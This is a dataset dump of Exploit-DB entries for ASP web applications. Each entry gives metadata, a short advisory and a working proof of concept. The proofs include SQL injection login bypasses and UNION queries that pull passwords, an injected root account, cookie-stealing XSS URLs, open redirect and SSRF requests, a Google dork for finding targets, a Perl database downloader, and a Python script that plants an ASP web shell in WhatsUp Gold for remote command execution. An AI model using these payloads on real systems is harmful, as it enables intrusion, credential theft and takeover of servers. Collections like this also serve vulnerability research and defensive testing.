deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30855
Description: WebDoc 3.0 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2007-12-07
Author: Chrysalid

Exploit:
source: https://www.securityfocus.com/bid/26761/info

WebDoc is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WebDoc 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/categories.asp?document_id=37&cat_id=convert(int,(select+@@version));--
Exploit-DB #27169
Description: Webeveyn Whomp! Real Estate Manager 2005 - Login SQL Injection
Type: webapps
Platform: asp
Date: 2006-02-08
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16544/info

Whomp! Real Estate Manager is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

Code For Admin Login :

Username : ' or ''='
Password: ' or ''='
Exploit-DB #8859
Description: WebEyes Guest Book 3 - 'yorum.asp?mesajid' SQL Injection
Type: webapps
Platform: asp
Date: 2009-06-02
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000


(
[+] Script               : WEBEYES GUEST BOOK v.3 

[+] Exploit Type         : Remote sql injection exploit

[+] Google Dork          : intitle:WEBEYES GUEST BOOK     inurl:.asp?id=

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

Remote sql injection Exploit :

http://[website]/[script]/yorum.asp?mesajid=11+union+select+0+from+msysobjects

[peace xD]

# milw0rm.com [2009-06-02]
Exploit-DB #24717
Description: WebHost Automation Helm Control Panel 3.1.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2004-11-02
Author: Behrang Fouladi

Exploit:
source: https://www.securityfocus.com/bid/11586/info

Helm Control Panel is reported prone to multiple vulnerabilities. These include an SQL injection issue and an HTML injection vulnerability. A remote attacker can execute arbitrary HTML and script code in a user's browser. Manipulation of SQL queries to reveal or corrupt sensitive database data is possible as well.

Helm Control Panel versions 3.1.19 and prior are reported vulnerable to these issues.

xxxx',10,0); insert into account(accountnumber,accounttype,accountpassword) values('root',0,'');--
Exploit-DB #37488
Description: WebsitePanel - 'ReturnUrl' Open Redirection
Type: webapps
Platform: asp
Date: 2012-07-09
Author: Anastasios Monachos

Exploit:
source: https://www.securityfocus.com/bid/54346/info

WebsitePanel is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

WebsitePanel versions prior to 1.2.2.1 are vulnerable. 

https://www.example.com/hosting/Default.aspx?pid=Login&ReturnUrl=http://<any_domain>
https://www.example1.com/hosting/Default.aspx?pid=Login&ReturnUrl=http://<any_domain>/file.exe>
Exploit-DB #28193
Description: Webvizyon - 'SayfalaAltList.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-07-08
Author: StorMBoY

Exploit:
source: https://www.securityfocus.com/bid/18899/info

Webvizyon is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/SayfalaAltList.asp?ID=-1 UNION ALL SELECT 0,kullaniciadi,sifre FROM uyeler
Exploit-DB #27063
Description: WebWiz Forums - 'Search_form.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-01-10
Author: nukedx

Exploit:
source: https://www.securityfocus.com/bid/16196/info

WebWiz Forums is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[webwizdir]/search_form.asp?ReturnPage=Search&search=XSS&searchMode=allwords&searchIn=Topic&forum=0&searchSort=dateDESC&SearchPagePosition=1
Exploit-DB #1399
Description: WebWiz Products 1.0/3.06 - Authentication Bypass / SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-30
Author: DevilBox

Exploit:
<!--
Vulnerable products :

webwiz site news access2000 : vesion 3.06 and prior versions
webwiz journal access2000 : version 1.0
webwiz weekly poll access2000 : version 3.06 and prior versions
database login access2000 : version 1.71 and prior versions
webwiz site news access97 : version 3.06 and prior versions
webwiz journal access97 : version 1.0
webwiz weekly poll access97 : version 3.06 and prior versions
database login access97 : version 1.71 and prior versions


Proof of Concepts :
-->

<html>
<h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1>
<p> Discovery and exploit by devil_box [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
<form method="POST" action="http://target/[product]/check_user.asp">
<input type="hidden" name="txtUserName" value="'union all select '1','1' from tblConfiguration where ''='">
<input type="hidden" name="txtUserPass" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>

<html>
<h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1>
<p> Discovery and exploit by devil_box [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
<form method="POST" action="http://target/[product]/check_user.asp">
<input type="hidden" name="txtUserName" value="'union select 1 from tblusers where''='">
<input type="hidden" name="txtUserPass" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>

# milw0rm.com [2005-12-30]
Exploit-DB #39231
Description: WhatsUp Gold 16.3 - Remote Code Execution
Type: webapps
Platform: asp
Date: 2016-01-13
Author: Matt Buzanowski

Exploit:
#
# Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution
# Date: 2016-01-13
# Exploit Author: Matt Buzanowski
# Vendor Homepage: http://www.ipswitch.com/
# Version: 16.3.x
# Tested on: Windows 7 x86
# CVE : CVE-2015-8261
# Usage: python DroneDeleteOldMeasurements.py <target ip>

import requests
import sys

ip_addr = sys.argv[1]

shell = '''<![CDATA[<% response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall() %>]]>'''

sqli_str = '''stuff'; END TRANSACTION; ATTACH DATABASE 'C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\HTML\\NmConsole\\shell.asp' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('%s');--''' % shell

session = requests.Session()

headers = {"SOAPAction":"\"http://iDrone.alertfox.com/DroneDeleteOldMeasurements\"","User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.4927)","Expect":"100-continue","Content-Type":"text/xml; charset=utf-8","Connection":"Keep-Alive"}

body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <DroneDeleteOldMeasurements xmlns="http://iDrone.alertfox.com/">
      <serializedDeleteOldMeasurementsRequest><?xml version="1.0" encoding="utf-16"?>
        <DeleteOldMeasurementsRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <authorizationString>[PII_REDACTED]</authorizationString>
        <maxAgeInMinutes>1</maxAgeInMinutes>
        <iDroneName>%s</iDroneName>
        </DeleteOldMeasurementsRequest></serializedDeleteOldMeasurementsRequest>
    </DroneDeleteOldMeasurements>
  </soap:Body>
</soap:Envelope>""" % sqli_str

response = session.post("http://%s/iDrone/iDroneComAPI.asmx" % ip_addr,data=body,headers=headers)
print "Status code:", response.status_code
print "Response body:", response.content

print "\n\nSUCCESS!!! Browse to http://%s/NmConsole/shell.asp?cmd=whoami for unauthenticated RCE.\n\n" % ip_addr
Exploit-DB #8596
Description: Winn ASP Guestbook 1.01b - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-05-04
Author: ZoRLu

Exploit:
#!/usr/bin/perl -w
#
# Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit
#
# Found By : ZoRLu
# 
# Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com
#
# Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInÃ½z
#
# Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N and all Friends
#
# Download : http://winn.ws/downloads/asp-guestbook-v1-01.zip



use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit');
system('color 2');


if(@ARGV < 2)
{
print "[-]Exp KullanIm HatasI\n";
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] KullanIm : perl $0 url/IP Path \n";
print "[+] if your target have a path        : perl $0 site.com /path/ \n";
print "[+] example                           : perl $0 lifelinesydney.org /asp-guestbook/ \n";
print "[+] if your target doesnt have a path : perl $0 site.com / \n";
print "[+] example                           : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\*   Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit            *\n";
print "\*             Exploited By : ZoRLu                                      *\n";
print "\*                      msn : trt-turk[at]hotmail.com                    *\n";
print "\*                     Home : yildirimordulari.com , dafgamers.com       *\n";
print "\*                      Dork: Winn ASP Guestbook from Winn.ws            *\n";
print "\*************************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="data/guestbook.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n                        WWW.YiLDiRiMORDULARi.COM\n\n";
print "\n                                   wait!!!      \n\n";

my $useragent = LWP::UserAgent->new();
my $request   = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success) 
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else 
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

# milw0rm.com [2009-05-04]
Exploit-DB #51039
Description: wkhtmltopdf 0.12.6 -  Server Side Request Forgery
Type: webapps
Platform: asp
Date: 2023-03-23
Author: Momen Eldawakhly

Exploit:
# Exploit Title: wkhtmltopdf 0.12.6 -  Server Side Request Forgery
# Date: 20/8/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://wkhtmltopdf.org
# Software Link: https://wkhtmltopdf.org/downloads.html
# Version: 0.12.6
# Tested on: Windows ASP.NET <http://asp.net/>

POST /PDF/FromHTML HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

__RequestVerificationToken=Token&header=<PDFstructure+>....&data= <PDFstructure+>....<iframe+src=“http://10.10.10.1”>
Exploit-DB #25790
Description: WWWeb Concepts Events System 1.0 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-06
Author: Romty

Exploit:
source: https://www.securityfocus.com/bid/13859/info

WWWeb Concepts Events System is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

WWWeb Concepts Events System 1.0 is reportedly vulnerable. 

The following proof of concept is available:
Uername =admin
Password= ' or ''='
Exploit-DB #3032
Description: wywo inout board 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-12-28
Author: ajann

Exploit:
*******************************************************************************
# Title   :  WYWO - InOut Board 1.0 Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://cybercoded.com
# $$      :  9.95 $

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path/phonemessage.asp?num=[SQL]

Example:

//phonemessage.asp?num=-1%20union%20select%200,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20employee%20where%20Admin='Yes'
[[/SQL]]

[[Login ByPass]]]---------------------------------------------------------

http://[target]/[path]//faqDsp.asp?catcode=[SQL]

Example:

//login.asp   Username: 'or' Password: 'or'

[[/Login ByPass]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28]
Exploit-DB #3469
Description: X-ice News System 1.0 - 'devami.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-13
Author: CyberGhost

Exploit:
Title  : X-ice News System v1.0 Remote SQL Injection Vulnerability
#Author : CyberGhost
#Page   : http://www.x-ice.org/haber%5Fv1/
#Download : http://aspindir.com/indir.asp?id=4601&sIslem=%DDndir

Vuln.

Username : /devami.asp?id=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin
Password : /devami.asp?id=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin

Login : /admin/kontrol.asp

====================================

Thanx : redLine - Hackinger - LiarHack - excellance - SaCReD SeeR - MaTRaX - by_emR3 - kerem125 - Bolivar - All TiTHaCK Members

And All TURKISH HACKERS !

# milw0rm.com [2007-03-13]
Exploit-DB #24316
Description: XLineSoft ASPRunner 1.0/2.x - 'export.asp?SQL' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-26
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/export.asp?SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%
3C%2Fscript%3Eselect+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C+++%5Ben
%5D%2C+++%5Bdesc%5D++From+%5Bdictionary%5D++order+by+%5Ben%5D+desc&mypage=1&
pagesize=20
Exploit-DB #24314
Description: XLineSoft ASPRunner 1.0/2.x - '[TABLE-NAME]_edit.asp?SQL' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-26
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_edit.asp?editid=2822&editid2=&editid3=&TargetPa
geNumber=1&SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ese
lect+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C+++%5Ben%5D%2C+++%5Bdesc
%5D++From+%5Bdictionary%5D++order+by+%5Ben%5D+desc&NeedQuoteswordid=False&Ne
edQuotes=&NeedQuotes=&action=view
Exploit-DB #24313
Description: XLineSoft ASPRunner 1.0/2.x - '[TABLE-NAME]_search.asp?Typeen' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-26
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10799/info

ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.

ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_search.asp?action=AdvancedSearch&FieldName=word
_id&NeedQuoteswordid=False%2C+False&Typewordid=3%2C+3&SearchOption=Contains&
SearchFor=&FieldName=tr&NeedQuotestr=True&Typetr=202&SearchOption=Contains&S
earchFor=&FieldName=en&NeedQuotesen=True&Typeen=202&SearchOption=Contains&Se
archFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&FieldNam
e=desc&NeedQuotesdesc=True&Typedesc=203&SearchOption=Contains&SearchFor=
Exploit-DB #24315
Description: XLineSoft ASPRunner 1.0/2.x - '[TABLE]_list.asp?searchFor' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-26
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_list.asp?TargetPageNumber=1&sourceID=&cmdGotoPa
ge=&action=Search&SQL=select+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C
+++%5Ben%5D%2C+++%5Bdesc%5D++From+%5Bdictionary%5D++where+1%3D0+or+%5Btr%5D+
like+%27%25&orderby=+order+by+%5Ben%5D+desc&PageSize=20&SearchField=AnyField
&SearchOption=Contains&SearchFor=%22%3E%3Cscript%3Ealert%28document.cookie%2
9%3C%2Fscript%3E&PageSizeSelect=20&NeedQuoteswordid=False&Typewordid=3&NeedQ
uoteswordid=False&Typewordid=3&NeedQuotestr=True&Typetr=202&NeedQuotesen=Tru
e&Typeen=202&NeedQuotesdesc=True&Typedesc=203
Exploit-DB #24317
Description: XLineSoft ASPRunner 1.0/2.x - Database Direct Request Information Disclosure
Type: webapps
Platform: asp
Date: 2004-07-26
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10799/info
  
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
  
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/db/[DB-FILE-NAME]
Exploit-DB #37119
Description: XM Forum - 'id' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2012-04-27
Author: Farbod Mahini

Exploit:
source: https://www.securityfocus.com/bid/53292/info

XM Forum is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[patch]/profile.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/forum.asp?$sid=&id=[SQL]
http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL]
Exploit-DB #37689
Description: XM Forum - 'search.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2012-08-30
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55299/info

XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

P0C : 
HTTP HEADERS : 
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.example.com/chilli_forum/search.asp
Cookie: TrackID=%7B54A35316%2D7519%2D405D%2D950A%2DA8CF50497150%7D; ASPSESSIONIDASSRDDBT=LPENAGHCNMNGMAOLEAJFMFOA
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Post Data --------------------
terms=%27&stype=1&in=1&forum=-1&ndays=0&mname=

Http response : 

28 Microsoft OLE DB Provider for SQL Server 8 21 error ' 8 80040e14 8 ' 1f

84 Unclosed quotation mark after the character string ') ORDER BY tbl_Categories.cOrder, tbl_Forums.fOrder, tbl_Topics.tLastPostDate'. 7 1f
Exploit-DB #22724
Description: Xpressions Interactive - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2003-06-04
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/7804/info

Several software products maintained by Xpressions Interactive are prone to SQL injection attacks.

The vulnerability exists in the login.asp page. Specifically, user-supplied input is not sufficiently sanitized of malicious SQL queries.

An attacker may exploit this vulnerability to insert SQL code into requests and have the SQL code executed by the underlying database server. 

http://examplestore.com/manage/login.asp
User: admin
Pass: ' or '1' = '1
Exploit-DB #29064
Description: Xtreme ASP Photo Gallery 2.0 - 'displaypic.asp?catname' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-16
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21138/info
 
Xtreme ASP Photo Gallery is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues and an HTML-injection issue because the application fails to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://target/path/displaypic.asp?category=23&sortorder=9&total=10&catname=[XSS]